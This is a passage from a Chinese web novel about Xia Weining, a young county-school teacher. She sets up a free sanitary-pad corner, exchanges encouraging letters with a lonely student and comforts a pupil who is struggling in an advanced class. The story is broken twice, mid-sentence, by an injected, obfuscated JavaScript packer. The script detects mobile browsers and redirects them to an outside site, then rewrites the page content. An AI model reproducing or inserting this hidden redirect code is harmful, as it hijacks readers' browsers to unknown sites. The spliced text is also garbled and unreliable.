“准备的都是正规的品牌卫生巾,事先会对学生进行相关知识培训,有不良反应立即报告。” 谭娅立即在一旁帮腔,“很多学校都会接受社会赞助,其中包括卫生巾等贴身用物,未出现安全隐患。” “话是这样说,但我们必须要把所有隐患都提前预防,不能好心办坏事。” “我们会注意的,主要也是为了帮助同学们正确认识月经,减少月经羞耻。” “那你们去办吧,记住实时向我报告进度。” 夏微宁笑了,双手端水递给张主任,“感谢张主任支持。” “我可等着你们的好结果。” “放心吧。” 夏微宁和谭娅相视一笑,两人都是行动派,刚走出办公室就着手落实,她联系超市集中采购,谭娅负责传达,让学生踊跃参与。 在两人的努力下,事情进展得很顺利。 一周后,两辆面包车开进学校,从车上搬下好多箱子,学生们围在一片七嘴八舌地讨论着。 “这是什么?” “听说是卫生巾。” “你怎么知道?” “前几天听我们班主任说的,免费发给大家的。” “真的?” “真的,听说还是夏老师花钱买的。” “哇,夏老师真是我女神。” …… 夏微宁没空听这些,正忙着安排人摆放物资,一群学生自动跟随,都想在第一时间瞧热闹。 为了方便学生,爱心角落设在药房旁边,距离厕所也近,无人看管,需要的自己进入拿取即可,每天晚上进行补货,这样既方便又很好地照顾了学生们的自尊心。 进行一段时间后,反响不错,得到学生和家长一致称赞,且未出现安全问题,校长觉得这是一个可以长期坚持下去的好事,便接替了爱心角落的物资供应,所有的卫生巾由赞助或者学校提供,减轻了夏微宁钱袋子的压力。 夏微宁像往常一样到达办公室,开始检查教案,突然从里面掉出一个包装很精美的信,她诧异地捡起来翻看,信封上写着: ?谢谢夏老师 ——毛茸茸的幸运兔? 现在流行写信,用精美的信纸折成各种复杂的样式,是“小情侣”间常用的告白手段,短短的文字总是饱含少男少女真挚的情感,不过没想到她也会收到信,还是一个心形形状的。 不由得好奇上面说了些什么,直接将信打开,读着上面的内容。 夏老师: 您好! 我是一个很普通的女孩,相貌普通,成绩普通,是班里可有可无的“透明人”,很多人故意给我了一个绰号“班花”,我知道这是对我的讽刺,但我不敢反驳,只能默默接受,但我清楚记得她们叫我班花时眼中的戏谑,每一次交谈都是我扮演小丑来换取大家的笑声,有时候我觉得我好像没有真正的朋友。 我是一个没有目标没有理想的人,这片土地上的女孩子,学习好的有出息,可以出去见世面,学习差的也就是上完初三就结婚生子,我一直以为这也是我的人生归属。 可是,我遇到了你,夏老师,我觉得你很酷,就像从天而降的仙女,身上有很强的力量,你的安慰和鼓励给我了很大的信心,让我第一次有改变命运的冲动。 谢谢您保护我的自尊,谢谢您给我的关心,谢谢您让我拥有直面窘迫的勇气,谢谢您让我找回自信。 我很开心能遇到您。 我希望以后可以做一个像夏老师一样的人。 我不知道夏老师能不能看到这封信,也不知道您是否会回信,如果有幸得到老师的回信,您可以将信放到‘爱心角落’最里面的抽屉里。 再次向夏老师表示感谢。 祝您工作顺利! 毛茸茸的幸运兔 夏微宁认真看完了信,泪水悄然滑落打湿了信纸,她不知道这是一个怎么敏感的女孩,鼓起怎样的勇气才能给她写这封信。 透过信纸,她仿佛看到那双期待的眼睛。 现在很多写信交笔友的,她这次和自己的学生做一回笔友。 夏微宁取来笔,认真地写回信。 亲爱的幸运兔: 你好! 来信已收,谢谢你对我的夸奖,很荣幸能对你有所帮助,这是我最开心的时候,也是我工作最大的成功。 恭喜你找到了方向,你很优秀,比你自己想象的更优秀,所以不要让外界的目光影响到你,自己努力才能变得更强大,老师相信你可以做到。 世界足够大,可以容纳每一个孩子的梦想。 不要怕,勇敢往前跑吧,只有跑出去才知道自己能跑多远。 你放心,我会替你保守秘密。在这里我们不光是师生,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509900|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是朋友,是可以交付真心的朋友。 愿你开心快乐! 夏微宁 下班后,她把信放到爱心角落才出校。 过了几天,又收到毛茸茸的幸运兔写给她的信,信的内容很简单,“啊”占了一半: 啊啊啊啊啊…… 我实在是太激动了,没想到老师您给我回了信,您的鼓励我收到了,我会好好学习,不再过多关注那些杂音。 在这里向老师报告一个好消息,这次月考我的成绩提升不少,爸妈都夸了我,我现在觉得特别有成就感。 以前我不敢给自己定目标,现在我很清楚自己的目标,我要考上一高,然后考上很好的大学。 感谢夏老师对我的鼓励,祝您工作顺利! 毛茸茸的幸运兔 夏微宁给她写了回信,鼓励她好好学习,相信自己。 不知道怎么就传开了,说写信就可以和夏老师做笔友,大家把她当知心大姐姐,一封接一封的信出现在她的办公桌上,回信成了苦差事。 大家和她分享青春期的迷茫,在这里她看到了太多渴望被关注的身影,每个青春期的孩子都需要用心呵护,而不是简单的放任散养。 她很幸运成为这些孩子信任的人,所以她很珍惜这个机会,每封信都回得很认真。 在她的一句句鼓励和引导下,她看到越来越多热情外向,自信大方,干净纯真,让人忍不住心生爱怜,美好的孩子,这是夏微宁想象中最喜欢也是最想成为的模样,她过去没有机会但好在这一次她看到很多人成了这样。 大家都说她很适合做老师,其实她并不知道该怎么做老师,只是想遵从本心,尽力而为。 脑海中不由得想起了她曾经遇到过的一位老师,小时候因爸妈工作的原因,她去外地借读,当时被欺负得很惨,那时候她都有点怀疑自己是不是长得很让人讨厌,为什么别人都来欺负自己。 她甚至在夜里痛哭问老天能不能让她遇到一点好的事,她也觉得奇怪,一个人怎么能遇到这么多的事,关键她还这么年轻。 以至于,她后面自嘲说二十多岁的年龄,心理年龄堪比中年人。 经历过太多,眼中的灵气一点点被消耗,整个人就变得沉重。 最大的幸运就是她当时遇到了一位语文老师,也是班主任,夏微宁现在都记得她的名字,很漂亮很有个性的老师,课讲得也很好。 夏微宁当时在班里格格不入,每天上学都是煎熬,唯一的温暖是这位老师给的,就像一道光,保护着她脆弱的自卑,让她不会觉得自己被全世界抛弃。 她还记得下雨天,老师问需不需送她回家,那是第一次有人不是嘲笑她而是帮助她,夏微宁激动了好多天;还有老师让她用自己家乡话背古诗,她背得很流畅却是用普通话,老师还是夸奖了她;最后就是元旦晚会,大家通过做游戏赢大礼包,老师一直给她鼓励,最后获得一等奖大礼包。 她只借读了一学期,大礼包和优异的成绩单是她最大的收获。 她现在已经记不清大礼包里都是什么,也记不清成绩单的具体内容,但这位老师是她永远不会忘记的存在,那是她关于那学期最深的记忆。 她一直都明白老师对学生的重要性,所以她也愿意去做这样的老师。 12. 第 12 章 夏微宁知道信息差对一个人的影响有多大,过去她曾经因为认知偏差,很多选择都普遍滞后,白白错失机会,此刻她有机会让这些孩子趁早认识社会,那她就会去做。 身体力行做一点小事,减轻她们的信息差。 她们开始组织户外活动,引导孩子们走近科技,认识新事物,包括播放电影和纪录片,通过多媒体方式,展示县城以外的发展生活。 看着越来越多的孩子脸上洋溢着自信的光芒,她们变得健谈,会讨论最新的科技产品,能感受到发展的速度,慢慢从血液里生出从容的骨骼。 这样她们以后初见大城市的繁华时才不会无所适从,才不会格格不入,而能很快的融入。 夏微宁今天上了三节课,累得不行,迫不及待想回家休息,为了缓解身体的疲惫感,她只能边走边活动脖颈处。 走到拐弯处,眼睛余光瞥到一个低头抠手指的人影,她走过去又退回来,“夏黎?” “哦,夏老师。”打个招呼又低着头。 “你这怎么了?无精打采的。” “和同学闹矛盾了?” “还是考试没考好?” …… 夏微宁的问题像机关枪似的,接连不断,可惜夏黎一个都没有回应。 “到底怎么了?”夏微宁拉住她的手,“有什么不能和我说。” 夏黎停下来,面无表情地站在原地,眼泪无声滑落下来。 她这举动彻底把夏微宁吓到了,“谁欺负你了?” “没,没人欺负我。” 说完开始嚎啕大哭。 夏微宁紧紧抱住她,“都哭成这样了还说没人欺负你。” “真没人欺负我,是我自己的原因。”小姑娘用手背擦着泪,眼睛红通通的,可怜又脆弱,眼巴巴地看着她,“我饿了。” 夏微宁简直哭笑不得,“走,我们去吃饭。” 两人到肯德基,点了很多,几乎是夏黎一个人吃完的,心情已不见刚才的伤心,惬意地喝着橙汁,眼睛忽闪忽闪地看着夏微宁。 “你不想问我到底怎么了?” “你想说吗?”夏微宁专注捡桌上地残羹剩饭吃,“我不会逼你的。” 夏黎看不下去了,“你想吃就再点些,现在弄得多可怜似的,真是不忍直视。” “还说呢,不是怪你,我累了一天当然饿了,教你们这些孩子是世间最费力的工作。” “你真的很夸张哎。”夏黎忍不住面露嫌弃。 “好啊,现在都敢嫌弃我了,不是刚才哭鼻子的时候了。” 夏黎竖起手指威胁她,“刚才的事不准给我说出去。” “放肆,你还威胁起老师了。” “你说过的让我把你当朋友,不单是老师。” “对对,你说得对。”夏微宁被打败了,“我会替你保密的。” “谢谢你。”夏黎眸光深沉几分,低着头浅笑,“我知道你是在安慰我,还挺有用,我心情好多了。” “现在可以说了吗?” 服务员正好送汉堡过来,夏微宁道谢过后,悠闲地吃着汉堡,也不着急问她原因,见她这般模样,夏黎反倒坐不住了。 “你还想不想听?” “你说的你的,我是用嘴吃,不耽误耳朵听。” 夏黎无语至极,她突然发现夏微宁有时候也挺不靠谱的。 “我们前几天分班了,我被分进了重点班。” 夏微宁点点头,“嗯,然后呢?” “我发现自己再重点班跟不上,大家成绩都比我好。” “所以你很失落?” “这不应该失落吗?” 夏微宁撇撇嘴,赞同地点点头,“确实应该失落,现在是调整好了?” “我想听听你怎么说。” 夏微宁放下手里的汉堡,擦擦手,满脸认真,“请做好大波鸡汤即将到来的准备。” 夏黎重重哎了一声,“有时候挺好奇的,你真的是一个老师吗?很特别和其他老师都不一样。” “我当然是老师了,接下来就让我来熏陶你的心灵。”夏微宁问道:“你失落是因为在重点班学不会压力大还是因为你的成绩排名落后了?” “都有吧,更多的是班里成绩好的太多了,自己相比差得远。” 夏微宁心里舒坦了,夏黎再没有问题,她都觉得这丫头太过完美,不符合自己实际的标准。 “人的一生会遇到很多人,有很多比你优秀的,不要因为别人的成绩好而难过或焦虑,每个人都有自己的际遇和节奏,不要因为别人自乱步伐,坚持自己的节奏慢慢走,笑着祝福别人的成功对自己也是一种磨炼,接受自己的不足,完整的接纳自己。” “你不会嫉妒别人吗?” “实话说,嫉妒过,后来发现嫉妒这东西挺可怕的,用别人的成功偷偷折磨自己一个人,后来我就告诉自己,别人再成功管我屁事,我眼不见为净。” “就这样调节?” 夏微宁点点头,“归根结底一句话,少关注别人,多看看自己。” “这个我听懂了。” “我们不能只关注别人的成功,可能别人在成功之前已经付出无数努力,嫉妒只会让我们浮于表面,把别人的成功归结为运气好或者天赋聪明,无视别人内里的努力,这样可以为自己找一个心理平衡的点。” 夏黎无聊地托着脸,“虽然你说的鸡汤很老套,但对我还挺适用的。” 夏微宁的白眼快要翻上天了。 “还有个事想和你说。”小姑娘突然满脸的讨好。 “什么事,值得你这么谄媚。” 夏黎确实需要有人帮她拿主意,所以没和夏微宁计较,“班主任说我们走读生太辛苦又耽误学习,建议住校。” “你自己想住校吗?” “住校是可以每天多学一会但我不喜欢住校。” 夏微宁倒也干脆,“那就继续走读。” 夏黎有些不敢相信,“这么简单?” “就这么简单,不要强制自己去做一些不喜欢的事,当然前提是不影响学习。” “放心吧,肯定不影响。” 夏微宁满意地直点头,这个夏黎完全就是别人家的孩子,满身优点,听话懂事又努力,不像之前的自己。 “夏黎。” “嗯?” 夏微宁很少这么正式的叫她,这一叫把夏黎都叫懵了。 “不要模仿别人,那样只会成为别人的影子而失去自我,我希望你能做自己,和别人都不一样,不被定义的你自己。” 夏微宁停顿片刻,突然释怀一笑,“其实这些也不重要,我只希望你能开心。” 夏黎脑袋里像挂了一个铜锣,震得她头脑发麻,心中被极大的震撼包围,她现在更加确认夏微宁的确很与众不同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512540|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们俩好像命中注定要遇到的有缘人。 这次谈话之后,夏黎的心结果然解开不少,她选择继续在重点班,但不会再像之前那般患得患失,现在她的心态更加成熟,每日早起晚归走读,虽辛苦却也乐在其中。 下课铃响,夏微宁神清气爽地走出教室,这周她的课都已讲完,可以享受美好的周末生活。 人刚走到办公室门口,意外这就来了。 张继梅主任抱着一堆材料走进办公室,大家纷纷低下头装作很忙的样子,夏微宁就因为经验少晚了一分钟被抓个现行。 张继梅抱着资料来到她面前,“夏老师,这周没课了吧?” “好像……” 大脑快速运转,想找一个合适的理由,谁知还没想到就被张主任打断。 “别好像了,我已经替你查清楚,你这周没课。” 夏微宁露出公式化的笑容,领导都查清楚了,她能说什么。 “周末有事吗?” 她们学校是双周休息,这周不休息,正常上课,但她没课。 “应该没有吧。” “我想你也没有事,没有男朋友,也不用管家庭孩子。” 夏微宁:…… 综合她身上遥遥领先的优势,成功被张主任选为加班之人,看了张主任分析选她的原因,夏微宁心凉半截,到最后发现她简直是加班圣体。 周末两天时间她足不出户,和张主任一块扎在资料堆里,密密麻麻的字看得她眼花胳膊疼,工作这么多年看的资料都没有这两天多。 她已经产生错觉,看字不像字。 饱受折磨后,终于在周日晚上大功告成,圆满完成工作,将最后一个文件交给张主任,“主任,所有的资料都已整理完成。” “谢谢,辛苦了。” 夏微宁有点不好意思,“没什么,总觉得没帮上什么忙。” “你帮我做了很多,要是我一个人肯定弄不好的。” 夏微宁笑笑,过后她说道:“也不知道整理得对不对,希望没给您添麻烦。” 张主任闻言笑笑没再说话。 夏微宁情绪突然很失落,失魂落魄地走出学校,脑海中一直回想刚才的事,她很容易陷在过去的情绪里,并把事情不断放大,直到引来更大的崩溃。 这是她多年的心理症结所在。 今天再次重演。 她莫名想到一句话,过度谦虚等于骄傲,其实她的人格是不完善的,完善的人格应该具有自我意识,能坦然接受别人的赞美,有超强配得感。 她好像有种赞美恐惧症,就算是自己应得的肯定也会在言辞上否认,其实内心对别人的赞美渴望又缺乏信任,所以才会一次次否认,就是希望别人能一次次给自己肯定的回答。 但她忘了,没有人会一直迁就自己满足内心的需求。 晚自习的下课铃突然响起,熟悉的音乐充斥在耳边,让她仿佛再次回到青葱年少的岁月,她还是那个自信张扬的学生。 有一个瞬间,她有很强烈的感觉,想做回意气风发的自己。 所以她想明白了,以后她要大大方方接受别人的赞美和肯定。 困扰多年的一个心结此刻被解开。 夏微宁感到前所未有的轻松,再加上工作带来的成就感,一切疲惫都随风消散,惬意地躺在床上,突然想到明天是周一,一早开组会,激动的心瞬间死灰一片。